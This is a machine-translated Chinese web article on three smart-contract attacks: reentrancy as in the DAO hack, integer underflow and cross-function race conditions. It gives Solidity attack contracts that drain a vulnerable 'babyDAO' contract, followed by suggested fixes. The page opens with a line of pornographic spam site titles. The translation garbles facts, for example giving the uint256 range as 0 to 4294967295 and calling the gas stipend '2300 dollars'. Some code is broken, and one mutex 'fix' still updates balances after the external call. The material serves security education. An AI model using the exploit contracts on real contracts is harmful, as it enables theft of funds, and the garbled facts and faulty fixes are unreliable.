日本黄色一级经典视频|伊人久久精品视频|亚洲黄色色周成人视频九九九|av免费网址黄色小短片|黄色Av无码亚洲成年人|亚洲1区2区3区无码|真人黄片免费观看|无码一级小说欧美日免费三级|日韩中文字幕91在线看|精品久久久无码中文字幕边打电话

當(dāng)前位置:首頁(yè) > 物聯(lián)網(wǎng) > 區(qū)塊鏈
[導(dǎo)讀] 如果你一直在跟蹤區(qū)塊鏈技術(shù),你可能聽(tīng)說(shuō)過(guò)一兩次智能合約攻擊,這些攻擊導(dǎo)致了價(jià)值數(shù)千萬(wàn)美元的加密貨幣資產(chǎn)被盜。最引人注目的攻擊仍然是分散自治組織(DAO),它是加密貨幣史上最受期待的項(xiàng)目之一,也是

如果你一直在跟蹤區(qū)塊鏈技術(shù),你可能聽(tīng)說(shuō)過(guò)一兩次智能合約攻擊,這些攻擊導(dǎo)致了價(jià)值數(shù)千萬(wàn)美元的加密貨幣資產(chǎn)被盜。最引人注目的攻擊仍然是分散自治組織(DAO),它是加密貨幣史上最受期待的項(xiàng)目之一,也是智能合約革命能力的典型代表。雖然大多數(shù)人都聽(tīng)說(shuō)過(guò)這些攻擊事件,但很少有人真正了解到底出了什么問(wèn)題,以及如何避免再犯兩次同樣的錯(cuò)誤。

智能合約是動(dòng)態(tài)的、復(fù)雜的、而且它強(qiáng)大到讓人難以置信。雖然它們的潛力是不可想象的,但它也不可能一出現(xiàn)就具備防范攻擊體制。這就是說(shuō),我們都應(yīng)從以前的錯(cuò)誤中學(xué)習(xí),并共同成長(zhǎng)。

盡管DAO已經(jīng)成為過(guò)去,但它仍然是開(kāi)發(fā)人員、投資者和社區(qū)成員應(yīng)該熟悉的容易受到智能合約攻擊的一個(gè)很好的例子。

無(wú)論您是開(kāi)發(fā)人員、投資者還是加密貨幣愛(ài)好者,了解這些攻擊將使您對(duì)這項(xiàng)有前途的技術(shù)有更深的了解。

攻擊#1:重入

當(dāng)攻擊者通過(guò)遞歸調(diào)用目標(biāo)的退出函功能從目標(biāo)中抽走資金時(shí),就會(huì)發(fā)生重發(fā)式攻擊,DAO就是這種情況。當(dāng)合約在發(fā)送資金前未能更新其狀態(tài)(用戶余額)時(shí),攻擊者可以連續(xù)調(diào)用撤回功能來(lái)耗盡合約的資金。只要攻擊者接收到以太幣,攻擊者的合約就會(huì)自動(dòng)調(diào)用它的撤回功能,該功能將會(huì)被寫入以再次調(diào)用撤回的算法中。此時(shí)攻擊已經(jīng)進(jìn)入遞歸循環(huán),合約的資金開(kāi)始向攻擊方轉(zhuǎn)移。由于目標(biāo)合約被阻止調(diào)用攻擊者的撤回功能,該合約永遠(yuǎn)不能更新攻擊者的數(shù)據(jù)。目標(biāo)合約被騙得以為一切正常。需要說(shuō)明的是,撤回功能是合約的本質(zhì)性功能,只要合約接收到以太幣和其他數(shù)據(jù),合約就會(huì)自動(dòng)執(zhí)行它。

此次攻擊的流程

1、攻擊者向目標(biāo)合約捐贈(zèng)以太幣

2、目標(biāo)合約更新攻擊者捐贈(zèng)以太幣的余額

3、攻擊者要求返還資金

4、資金匯回

5、攻擊者的撤回功能是觸發(fā)器,并要求隨后退出

6、智能合約更新攻擊者平衡的邏輯尚未執(zhí)行,因此再次成功調(diào)用撤回

7、資金被發(fā)送到攻擊者

8、重復(fù)步驟5–7

9.一旦攻擊結(jié)束,攻擊者就會(huì)把合約上的資金送到他們的個(gè)人地址上去。

可重入攻擊的遞歸循環(huán)

不幸的是,一旦攻擊開(kāi)始,就沒(méi)有辦法阻止它。攻擊者的撤回功能將被反復(fù)調(diào)用,直到合約用完或者受害者的以太幣被耗盡。

下面的代碼是易受影響的DAO合同的簡(jiǎn)化版本,其中包含評(píng)論以更好地理解那些不熟悉編程/可靠性的合同。

contract babyDAO {

/* assign key/value pair so we can look up

credit integers with an ETH address */

mapping (address =》 uint256) public credit;

/* a function for funds to be added to the contract,

sender will be credited amount sent */

funcTIon donate(address to) payable {

credit[msg.sender] += msg.value;

}

/*show ether credited to address*/

funcTIon assignedCredit(address) returns (uint) {

return credit[msg.sender];

}

/*withdrawal ether from contract*/

funcTIon withdraw(uint amount) {

if (credit[msg.sender] 》= amount) {

msg.sender.call.value(amount)();

credit[msg.sender] -= amount;

}

}

}

如果我們看一下這個(gè)功能被提取,我們可以看到DAO聯(lián)系人使用address.call.value向msg.sender發(fā)送資金。不僅如此,合約還更新了資金發(fā)出后的信用狀態(tài)[msg.sender]。兩者都是大禁忌。認(rèn)識(shí)到合約代碼中的這些漏洞,攻擊者可以使用類似合同的契約ThisAHodlUp{}來(lái)清算所有的合約DADO基金。

import ‘browser/babyDAO.sol’;

contract ThisIsAHodlUp {

/* assign babyDAO contract as “dao” */

babyDAO public dao = babyDAO(0x2ae.。.);

address owner;

/*assign contract creator as owner*/

constructor(ThisIsAHodlUp) public {

owner = msg.sender;

}

/*fallback funcTIon, withdraws funds from babyDAO*/

function() public {

dao.withdraw(dao.assignedCredit(this));

}

/*send drained funds to attacker’s address*/

function drainFunds() payable public{

owner.transfer(address(this).balance);

}

}

注意,撤回這一功能,調(diào)用的是DAO的撤銷功能,或合約的babyDAO{},以此來(lái)從合約中竊取資金。另一方面,在攻擊結(jié)束時(shí),如果攻擊者想將所有被盜的以太幣發(fā)送到其地址,則會(huì)調(diào)用撤回功能。

解決之道

到目前為止,可以清楚地看到,重入攻擊利用了兩種特殊的智能合約漏洞。第一種是當(dāng)合約的狀態(tài)在資金發(fā)送之后而不是之前更新。由于在發(fā)送資金之前沒(méi)有更新合同狀態(tài),功能可能在計(jì)算過(guò)程中被中斷,合約會(huì)被誘使認(rèn)為資金還沒(méi)有實(shí)際發(fā)出。第二個(gè)漏洞是當(dāng)合約錯(cuò)誤地使用address.call.value來(lái)發(fā)送資金,而不是安全的錢包地址。transfer或address.send兩者都被限制在需要支付2300美元的津貼,但是僅僅記錄一個(gè)事件而不是多個(gè)外部調(diào)用。

發(fā)送資金前更新合約余額發(fā)送資金時(shí)使用address.transfer()或address.send()

contract babyDAO{

。..。

function withdraw(uint amount) {

if (credit[msg.sender] 》= amount) {

credit[msg.sender] -= amount; /* updates balance first */

msg.sender.send(amount)(); /* send funds properly */

}

}

攻擊2:Underflow

盡管DAO合約沒(méi)有成為底層流攻擊的受害者,我們可以利用現(xiàn)有的babyDAO合約{}來(lái)更好地理解是如何發(fā)生常見(jiàn)攻擊的。

首先,讓我們確認(rèn)一下uint256是什么。Auint256是一個(gè)256位的無(wú)符號(hào)整數(shù)(因?yàn)橹挥姓麛?shù))。Ethereum Virtual Machine設(shè)計(jì)為使用256位作為其字大小,或者一次性使用計(jì)算機(jī)的CPU處理的位數(shù)。由于EVM的大小限制為256位,分配的數(shù)字范圍為0到4294967295(22??)。如果我們看一下這個(gè)范圍,這個(gè)數(shù)字被重置到范圍的底部(22??+1=0)。如果我們進(jìn)入這個(gè)范圍,這個(gè)數(shù)字被重置到范圍的頂端(0–1=22??)。

當(dāng)我們從零減去一個(gè)大于零的數(shù)字時(shí),就會(huì)產(chǎn)生一個(gè)新的整數(shù)22??。現(xiàn)在,如果攻擊者的平衡經(jīng)驗(yàn)不足,余額將被更新,以便所有的資金都可能被盜。

此次攻擊流程

1、攻擊者通過(guò)向目標(biāo)合約發(fā)送1 Wei發(fā)起攻擊

2、根據(jù)合約,寄件人應(yīng)將款項(xiàng)匯入

3、隨后同一1 Wei的稱為

4、合約從寄件人的信用證中減去1 Wei,現(xiàn)在余額為零

5、因?yàn)槟繕?biāo)合約將以太幣發(fā)送到攻擊者,所以攻擊者的撤回功能也將觸發(fā)并再次調(diào)用退出

6.退場(chǎng)記1 Wei

7.攻擊者的合約余額已經(jīng)更新了兩次,第一次更新為零,第二次更新為-1

8.攻擊者的平衡被重置為22??

9.攻擊者通過(guò)提取目標(biāo)合同中的所有資金完成了攻擊

代碼

import ‘browser/babyDAO’;

contract UnderflowAttack {

babyDAO public dao = babyDAO(0x2ae…);

address owner;

bool performAttack = true;

/*set contract creator as owner*/

function UnderflowAttack{ owner = msg.sender;}

/*donate 1 wei, withdraw 1 wei*/

function attack() {

dao.donate.value(1)(this);

dao.withdraw(1);

}

/*fallback function, results in 0–1 = 2**256 */

function() {

if (performAttack) {

performAttack = false;

dao.withdraw(1);

}

}

/*extract balance from smart contract*/

function getJackpot() {

dao.withdraw(dao.balance);

owner.send(this.balance);

}

}

解決之道

為了避免成為下溢攻擊的受害者,最佳實(shí)踐是檢查更新后的整數(shù)是否保持在其字節(jié)范圍內(nèi)。我們可以在代碼中添加一個(gè)參數(shù)檢查,作為最后一道防線。該功取款第一行是提取檢查是否有足夠的資金,第二行檢查是否溢出,第三行檢查是否有下溢。

contract babysDAO{

。..。

/*withdrawal ether from contract*/

function withdraw(uint amount) {

if (credit[msg.sender] 》= amount

&& credit[msg.sender] + amount 》= credit[msg.sender]

&& credit[msg.sender] - amount 《= credit[msg.sender]) {

credit[msg.sender] -= amount;

msg.sender.send(amount)();

}

}

請(qǐng)注意,我們的上述代碼也會(huì)在發(fā)送資金之前更新用戶的余額,如前所述。

攻擊3:跨功能競(jìng)態(tài)條件的攻擊

同樣重要的是,跨功能競(jìng)態(tài)條件攻擊。正如我們?cè)赗eentrancy攻擊中所討論的,DAO合約未能正確地更新內(nèi)部合約狀態(tài),因此導(dǎo)致資金被盜。部分DAO和一般的外部調(diào)用問(wèn)題是由于其跨功能競(jìng)態(tài)條件所產(chǎn)生的。

而以太坊中的所有事務(wù)都是串聯(lián)運(yùn)行的(一個(gè)接一個(gè)地運(yùn)行),因此使用外部調(diào)用對(duì)另一份合約或另一個(gè)地址來(lái)說(shuō),一旦管理不當(dāng),就會(huì)災(zāi)害連連。當(dāng)兩個(gè)功能調(diào)用并共享同一狀態(tài)時(shí),將發(fā)生跨功能競(jìng)爭(zhēng)情況。該合約就會(huì)騙的消費(fèi)者認(rèn)為存在的是兩個(gè)合約,而實(shí)際上只有一個(gè)合約。因此,在這個(gè)合約的功能函數(shù)中,我們不能同時(shí)得到X=3和X=4。

讓我們用一個(gè)例子來(lái)說(shuō)明這個(gè)概念。

攻擊與守則

contract crossFunctionRace{

mapping (address =》 uint) private userBalances;

/* uses userBalances to transfer funds */

function transfer(address to, uint amount) {

if (userBalances[msg.sender] 》= amount) {

userBalances[to] += amount;

userBalances[msg.sender] -= amount;

}

}

/* uses userBalances to withdraw funds */

function withdrawalBalance() public {

uint amountToWithdraw = userBalances[msg.sender];

require(msg.sender.send(amountToWithdraw)());

userBalances[msg.sender] = 0;

}

}

上述合約有兩個(gè)職能——一個(gè)負(fù)責(zé)轉(zhuǎn)移資金,另一個(gè)負(fù)責(zé)提取資金。讓我們假定攻擊者撤回功能傳輸(),同時(shí)進(jìn)行外部撤回功能的退出Balance()。使用Balance[msg.sender]的狀態(tài)將被拉向兩個(gè)不同的方向。用戶的余額還沒(méi)有設(shè)置為0,但是攻擊者也能夠轉(zhuǎn)移資金,盡管它們已經(jīng)被撤回。在這種情況下合同允許攻擊者花費(fèi),區(qū)塊鏈技術(shù)的目的就是要解決其中的一個(gè)問(wèn)題。

注意:如果這些合同共享狀態(tài),則跨多個(gè)合同可能會(huì)發(fā)生跨職能競(jìng)爭(zhēng)條件。

1.在調(diào)用外部函數(shù)之前,首先完成所有內(nèi)部工作

2.避免打外線電話

3.在不可避免的情況下,將外部撤回功能標(biāo)記為“不可信”

4.在不可避免的外部撤回時(shí)使用互斥體

根據(jù)下面的合約,我們可以看到一個(gè)合約的例子,1)。在打外部電話之前進(jìn)行內(nèi)部工作、2),將所有外部調(diào)用函數(shù)標(biāo)記為“不可信”。我們的合約允許資金被發(fā)送到一個(gè)地址,并允許用戶一次性獎(jiǎng)勵(lì)最初將資金存入合約中的人。

contract crossFunctionRace{

mapping (address =》 uint) private userBalances;

mapping (address =》 uint) private reward;

mapping (address =》 bool) private claimedReward;

//makes external call, need to mark as untrusted

function untrustedWithdraw(address recipient) public {

uint amountWithdraw = userBalances[recipient];

reward[recipient] = 0;

require(recipient.call.value(amountWithdraw)());

}

//untrusted because withdraw is called, an external call

function untrustedGetReward(address recipient) public {

//check that reward hasn’t already been claimed

require(!claimedReward[recipient]);

//internal work first (claimedReward and assigning reward)

claimedReward = true;

reward[recipient] += 100;

untrustedWithdraw(recipient);

}

}

正如我們可以看到的,合約的第一個(gè)功能是在向用戶的合約地址發(fā)送資金時(shí)進(jìn)行外部調(diào)用的。類似地,獎(jiǎng)勵(lì)功能也使用撤回功能來(lái)發(fā)送一次性獎(jiǎng)勵(lì),因此也是不可信的。同樣重要的是,合約首先執(zhí)行所有內(nèi)部工作。與我們的可重入攻擊示例一樣,功能GetReward在允許退出以防止跨功能爭(zhēng)用的情況發(fā)生之前,授予用戶一次獎(jiǎng)勵(lì)的信用。

在一個(gè)完美的世界里,智能合約不需要依靠外部調(diào)用。事實(shí)是,在許多情況下,外部聯(lián)通幾乎不可能發(fā)揮作用。因此,使用互斥體來(lái)“定”某個(gè)狀態(tài),并只授予所有者更改狀態(tài)的能力,可以幫助避免代價(jià)高昂的災(zāi)難。盡管互斥非常有效,但在用于多個(gè)合約時(shí),它們可能會(huì)變得很棘手。如果您使用互斥體來(lái)保護(hù)不受各種條件的影響,那么您需要仔細(xì)確保沒(méi)有其他方法可以聲明鎖定,并且永遠(yuǎn)不會(huì)被釋放。如果使用互斥方式,請(qǐng)確保您在與他們簽訂合約時(shí)已經(jīng)徹底了解了潛在的危險(xiǎn)(死鎖、活鎖等)。

contract mutexExample{

mapping (address =》 uint) private balances;

bool private lockBalances;

function deposit() payable public returns (bool) {

/*check if lockBalances is unlocked before proceeding*/

require(!lockBalances);

/*lock, execute, unlock */

lockBalances = true;

balances[msg.sender] += msg.value;

lockBalances = false;

return true;

}

function withdraw(uint amount) payable public returns (bool) {

/*check if lockBalances is unlocked before proceeding*/

require(!lockBalances && amount 》 0 && balances[msg.sender]

》= amount);

/*lock, execute, unlock*/

lockBalances = true;

if (msg.sender.call(amount)()) {

balances[msg.sender] -= amount;

}

lockBalances = false;

return true;

}

}

上面我們可以看到合約mutexExample具有執(zhí)行功能存款和功能提取的私有鎖狀態(tài)。該鎖將阻止用戶在第一次調(diào)用完成之前成功地調(diào)用撤銷,從而防止出現(xiàn)任何類型的跨功能爭(zhēng)用狀態(tài)。

強(qiáng)大的力量同時(shí)帶來(lái)巨大的責(zé)任。盡管區(qū)塊鏈和智能合合約術(shù)仍在不斷發(fā)展,但風(fēng)險(xiǎn)仍然很高。攻擊者還沒(méi)有放棄尋找合適的機(jī)會(huì),抓住設(shè)計(jì)糟糕的合約。

本站聲明: 本文章由作者或相關(guān)機(jī)構(gòu)授權(quán)發(fā)布,目的在于傳遞更多信息,并不代表本站贊同其觀點(diǎn),本站亦不保證或承諾內(nèi)容真實(shí)性等。需要轉(zhuǎn)載請(qǐng)聯(lián)系該專欄作者,如若文章內(nèi)容侵犯您的權(quán)益,請(qǐng)及時(shí)聯(lián)系本站刪除。
換一批
延伸閱讀

LED驅(qū)動(dòng)電源的輸入包括高壓工頻交流(即市電)、低壓直流、高壓直流、低壓高頻交流(如電子變壓器的輸出)等。

關(guān)鍵字: 驅(qū)動(dòng)電源

在工業(yè)自動(dòng)化蓬勃發(fā)展的當(dāng)下,工業(yè)電機(jī)作為核心動(dòng)力設(shè)備,其驅(qū)動(dòng)電源的性能直接關(guān)系到整個(gè)系統(tǒng)的穩(wěn)定性和可靠性。其中,反電動(dòng)勢(shì)抑制與過(guò)流保護(hù)是驅(qū)動(dòng)電源設(shè)計(jì)中至關(guān)重要的兩個(gè)環(huán)節(jié),集成化方案的設(shè)計(jì)成為提升電機(jī)驅(qū)動(dòng)性能的關(guān)鍵。

關(guān)鍵字: 工業(yè)電機(jī) 驅(qū)動(dòng)電源

LED 驅(qū)動(dòng)電源作為 LED 照明系統(tǒng)的 “心臟”,其穩(wěn)定性直接決定了整個(gè)照明設(shè)備的使用壽命。然而,在實(shí)際應(yīng)用中,LED 驅(qū)動(dòng)電源易損壞的問(wèn)題卻十分常見(jiàn),不僅增加了維護(hù)成本,還影響了用戶體驗(yàn)。要解決這一問(wèn)題,需從設(shè)計(jì)、生...

關(guān)鍵字: 驅(qū)動(dòng)電源 照明系統(tǒng) 散熱

根據(jù)LED驅(qū)動(dòng)電源的公式,電感內(nèi)電流波動(dòng)大小和電感值成反比,輸出紋波和輸出電容值成反比。所以加大電感值和輸出電容值可以減小紋波。

關(guān)鍵字: LED 設(shè)計(jì) 驅(qū)動(dòng)電源

電動(dòng)汽車(EV)作為新能源汽車的重要代表,正逐漸成為全球汽車產(chǎn)業(yè)的重要發(fā)展方向。電動(dòng)汽車的核心技術(shù)之一是電機(jī)驅(qū)動(dòng)控制系統(tǒng),而絕緣柵雙極型晶體管(IGBT)作為電機(jī)驅(qū)動(dòng)系統(tǒng)中的關(guān)鍵元件,其性能直接影響到電動(dòng)汽車的動(dòng)力性能和...

關(guān)鍵字: 電動(dòng)汽車 新能源 驅(qū)動(dòng)電源

在現(xiàn)代城市建設(shè)中,街道及停車場(chǎng)照明作為基礎(chǔ)設(shè)施的重要組成部分,其質(zhì)量和效率直接關(guān)系到城市的公共安全、居民生活質(zhì)量和能源利用效率。隨著科技的進(jìn)步,高亮度白光發(fā)光二極管(LED)因其獨(dú)特的優(yōu)勢(shì)逐漸取代傳統(tǒng)光源,成為大功率區(qū)域...

關(guān)鍵字: 發(fā)光二極管 驅(qū)動(dòng)電源 LED

LED通用照明設(shè)計(jì)工程師會(huì)遇到許多挑戰(zhàn),如功率密度、功率因數(shù)校正(PFC)、空間受限和可靠性等。

關(guān)鍵字: LED 驅(qū)動(dòng)電源 功率因數(shù)校正

在LED照明技術(shù)日益普及的今天,LED驅(qū)動(dòng)電源的電磁干擾(EMI)問(wèn)題成為了一個(gè)不可忽視的挑戰(zhàn)。電磁干擾不僅會(huì)影響LED燈具的正常工作,還可能對(duì)周圍電子設(shè)備造成不利影響,甚至引發(fā)系統(tǒng)故障。因此,采取有效的硬件措施來(lái)解決L...

關(guān)鍵字: LED照明技術(shù) 電磁干擾 驅(qū)動(dòng)電源

開(kāi)關(guān)電源具有效率高的特性,而且開(kāi)關(guān)電源的變壓器體積比串聯(lián)穩(wěn)壓型電源的要小得多,電源電路比較整潔,整機(jī)重量也有所下降,所以,現(xiàn)在的LED驅(qū)動(dòng)電源

關(guān)鍵字: LED 驅(qū)動(dòng)電源 開(kāi)關(guān)電源

LED驅(qū)動(dòng)電源是把電源供應(yīng)轉(zhuǎn)換為特定的電壓電流以驅(qū)動(dòng)LED發(fā)光的電壓轉(zhuǎn)換器,通常情況下:LED驅(qū)動(dòng)電源的輸入包括高壓工頻交流(即市電)、低壓直流、高壓直流、低壓高頻交流(如電子變壓器的輸出)等。

關(guān)鍵字: LED 隧道燈 驅(qū)動(dòng)電源
關(guān)閉